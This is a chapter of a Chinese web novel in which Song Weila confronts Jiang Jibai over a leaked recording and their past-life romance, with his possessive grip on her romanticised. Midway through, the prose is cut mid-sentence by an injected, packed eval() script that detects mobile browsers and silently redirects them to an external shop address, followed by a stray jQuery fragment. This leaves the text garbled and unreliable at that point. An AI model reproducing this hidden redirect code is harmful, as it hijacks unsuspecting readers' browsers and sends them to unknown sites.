96. 爱永远比恨多一点点
作品:《女配贵族学院攻略指南》 不愧是江既白,一问就问在最关键的地方。
是啊,他有什么理由曝光录音呢?这份录音牵扯两个家族的利益,足以让宋氏陷入动荡。如果不是怀着极深的仇恨,宋薇拉实在想不通,为何有人手握如此把柄,不去勒索钱财,却要不计后果地曝光,自己却捞不到半点好处,还有进去的风险。
理智的江既白会这么做吗?
他一界寒门学子,得罪克劳德家族和宋氏家族会有什么代价,难道他不知道吗?只要他一天清醒,他就不会做这样的事。
可,这个世界上,情感是不可忽略的因素,哪怕是一个机器人,人们都希望它有着人的喜怒哀乐。江既白不是不知道鱼死网破的后果,只是背后有着更深的动机。
比如...漫无天际、生生不息的恨意。
江既白脸上所有伪装的情绪都消失了,他没有被冤枉的委屈和愤怒,暖气的风吹着他的发梢,他只是静静地看着宋薇拉,等待着一个答案。
他仿佛在暗示,只要宋薇拉给了他一个满意的答案,他就会像游戏里的Boss一样,水闸泄洪般说出所有的隐秘。
宋薇拉深吸一口气。会议室的暖气吹得她胸口发闷,脑子也有些昏沉。她强迫自己一遍又一遍地复盘,从在福斯教授办公室与江既白第一次对话,一直到他此刻的表情。
江既白是一个怎样的人?她询问着自己。
同学眼中的他,好学上进、自食其力,是一个标准的好学生,他们也许会鄙薄他的家庭条件,但是不会怀疑他作恶。一个前途光明的寒门好学生,不会让自己的履历上沾上污点。
可宋薇拉周三在胡兆的口中得知江既白的介入时,她并没有想象中那么惊讶。细细想来,在与她的相处中,江既白的反常之处其实不少,就像毛衣上的刺毛,穿着时偶尔会察觉到一丝异样。然后在某个瞬间,她反应过来:这件毛衣,是不是存在着问题。
在高一下时,遇到江既白,他便用阴冷的目光看着她,像一条伺机而动的蛇。
还有补习这件事。他计算机水平这么好,随便接几个项目就能赚得盆满钵满,为什么要应下福斯教授的邀请,来给她辅导数学?要知道,辅导一个数学不好的人,大概是这世界上最治低血压的任务了。而江既白,应该没有低血压吧。
最后确认她猜测的,是流时村的那声缱绻朦胧的“薇拉”,带着太多如有实质的情感。
江既白在试探她,她当然可以选择装傻,但是逃避不是宋薇拉的性格,她闭了闭眼睛,再睁眼时,眼睛已是一片清明,“作为一个普通的同学,你当然没有这么做的理由。”
“但是,”她顿了一下,“如果你,拥有上辈子的记忆呢。”
宋薇拉没有任何解释,她这般精神病一样的发言,估计被别人知道只有送进医院的份。但这个房间内,另外一个人的精神看上去也不是太好的样子—
江既白一怔,随即,啪、啪、啪,他抚掌而笑,嘴角咧得很大,像个小丑。可眼底却有泪水在积蓄,似哭似笑的表情看起来极为割裂,仿佛上下半张脸分属于两个不同的人。
神情癫狂而夸张。
他站起身,缓步走到宋薇拉左前方。还没等他靠近,宋薇拉便抓住椅子站了起来,眼睛戒备地盯着他的一举一动。
江既白笑了笑,把手轻轻放在宋薇拉的左肩上,微微用力,道:“这么紧张做什么,我又不会吃了你。”
“放开。”
宋薇拉伸手去拍,江既白却纹丝不动。
“你要是想多摸一会儿我的手,我是不会介意的。”江既白冷淡勾唇,“我按住你的肩膀,只是想让你听我说话,等你平复心情后,我就会放开,你不需要担心。”
不知不觉间,那个洁癖的、孤高的江既白消失了。他黑白分明的眼眸变得像潮湿的沼泽,透着某种无机质的冷意。手紧紧箍住宋薇拉的肩膀,几乎要嵌进她的血肉里。
“我只是没有想到,你居然也有了前世的记忆,平时还装作若无其事地对待我,薇拉,你真的很厉害啊。”
“我没有拥有记忆。”宋薇拉摇摇头纠正道,“偶尔会做着一些与你有关的梦而已。”
“什么梦。”见宋薇拉不再挣扎,江既白自然而然地放开她的肩膀,饶有兴趣地追问道。
“梦到我上辈子如何追求你、再跟你分道扬镳。”
“分道扬镳?”江既白低声呢喃着这四个字,随即,眼泪顺着他的脸颊滑下,“薇拉,原来你就是这么概括我们之后的感情吗?你可真是......清醒啊。分道扬镳倒是干脆利落,可我们之间的感情,又哪里说得清呢。”
一个男人在自己面前说哭就哭,清秀冷淡的眉眼如同落了一场格格不入的雨。虽谈不上我见犹怜,却看得宋薇拉心头一软。
肩头的阵痛一刺,她回过神来。心里暗暗告诫自己,这多半又是他的一次伪装。
“我们之间的感情哪里说得清楚?”宋薇拉讽刺地摇摇头,仿佛听到了一个天大的笑话,“江既白,你这话说得可真坦荡。我还得夸你一句情圣在世呢。”
“可你干了些什么事?曝光录音,让我和我的妈妈陷入舆论的危机,开罪最大的合作者,克劳德家族。再说之前的事,与你不同,我并没有拥有前世的完整记忆,所以很多情绪我并不能感同身受。但是...”
“但是,”宋薇拉咬了咬后槽牙,一字一句像从牙缝里挤出来,“在最后一个梦里,我真是恨不得冲进去扇你。趁着我母亲病重,联合外人蚕食宋氏的股份,江既白,这就是你的爱吗?满是算计,满是利益。”
面前女孩语言犀利,眼里满是憎恶,看他好像在看一个奇臭无比的垃圾,江既白脸色一白,血液从四肢倒流回心脏,激得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215542|185384||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他上前几步想要揽住宋薇拉,宋薇拉后退两步,道:“我不想和你有什么肢体接触。”
江既白意识到自己的失态,往后退了两步,面无表情地冷声道:“我的爱很烂,可你,宋大小姐,你的爱又算得了什么呢?上辈子明明是你先招惹的我,可你呢,为什么不愿意跟西维尔断掉关系?为什么一次又一次不顾我的痛苦,非要和那些人在一起交际。”
“我一直在想,这辈子应该怎么对待你。上辈子你总说,我没有郑重地追求过你。我想,这次我一定要抓住机会。你羡慕校园剧里那种因一对一辅导而生的爱情,于是我主动联系了福斯教授,答应给你辅导。”
“可是我没有想到,你和林知溪...”江既白回想到自己看到的画面,鼻子一皱,痛苦地闭上眼睛,“真让人恶心...”
“恶心?江既白,这辈子,你跟我有什么关系啊?”宋薇拉学着江既白的模样,痛苦地闭上眼睛,嘲弄地说道,江既白被她气笑了,“宋大小姐,我们只是会亲吻的普通同学关系是吧,你说出来可不可笑?”
“江既白,你最对不起的人从来不是我。”宋薇拉不去理会江既白的讽刺,在方才短短几个来回,她已经找到了江既白的命门,他在意的事物,“我虽然没有上辈子的记忆,但是我知道,上辈子的宋薇拉,从来没有做过对不起你的事。”
“是你的占有欲、疑心病和内心的自卑感,一次又一次地推开了她。”
“我原本想要用报警来解决这件事的,但是江既白,我已经说不清,两辈子加起来,我们两个谁更对不起谁了。”
宋薇拉刚要开口,江既白仿佛预料到她接下来要说什么,低声喃喃着“闭嘴”“闭嘴”“闭嘴”。他想要转身离开这间狭小的会议室,宋薇拉却抢先一步挡在他面前。她按住心口莫名的抽痛,笑了笑,声音里透着哀伤:
“也许一开始,我就不该招惹你。我们两个根本就不合适。我们两个虽然家境有一定的差距,但是这不是根本的理由。归根到底,我很要强,你也很要强,就像两颗不匹配的齿轮,除了让对方受伤,再没有磨合的可能。”
江既白愣住了,他能够承受住宋薇拉任何的指责,却不想在她口中得到两个人不合适的判词。这种判词太不公平,灭绝了两个人努力奔向彼此的可能,好像他们的相遇只是一次弄巧成拙,而江既白和宋薇拉两个人注定只会相交一次。
他冷静下来,轻轻拥住了面前的女孩,道:
“不论如何,我都不会放开你的。”
“我恨你,可我的爱永远比恨多一点点。”
可我的爱永远比恨多一点点。
在江既白清爽洗衣粉的怀抱里,宋薇拉愣住了,她突然明白,为什么江既白对她的好感只有一。
不管怎么两人怎么折腾,宋薇拉怎么折磨江既白,他的爱都会比恨多一点点。

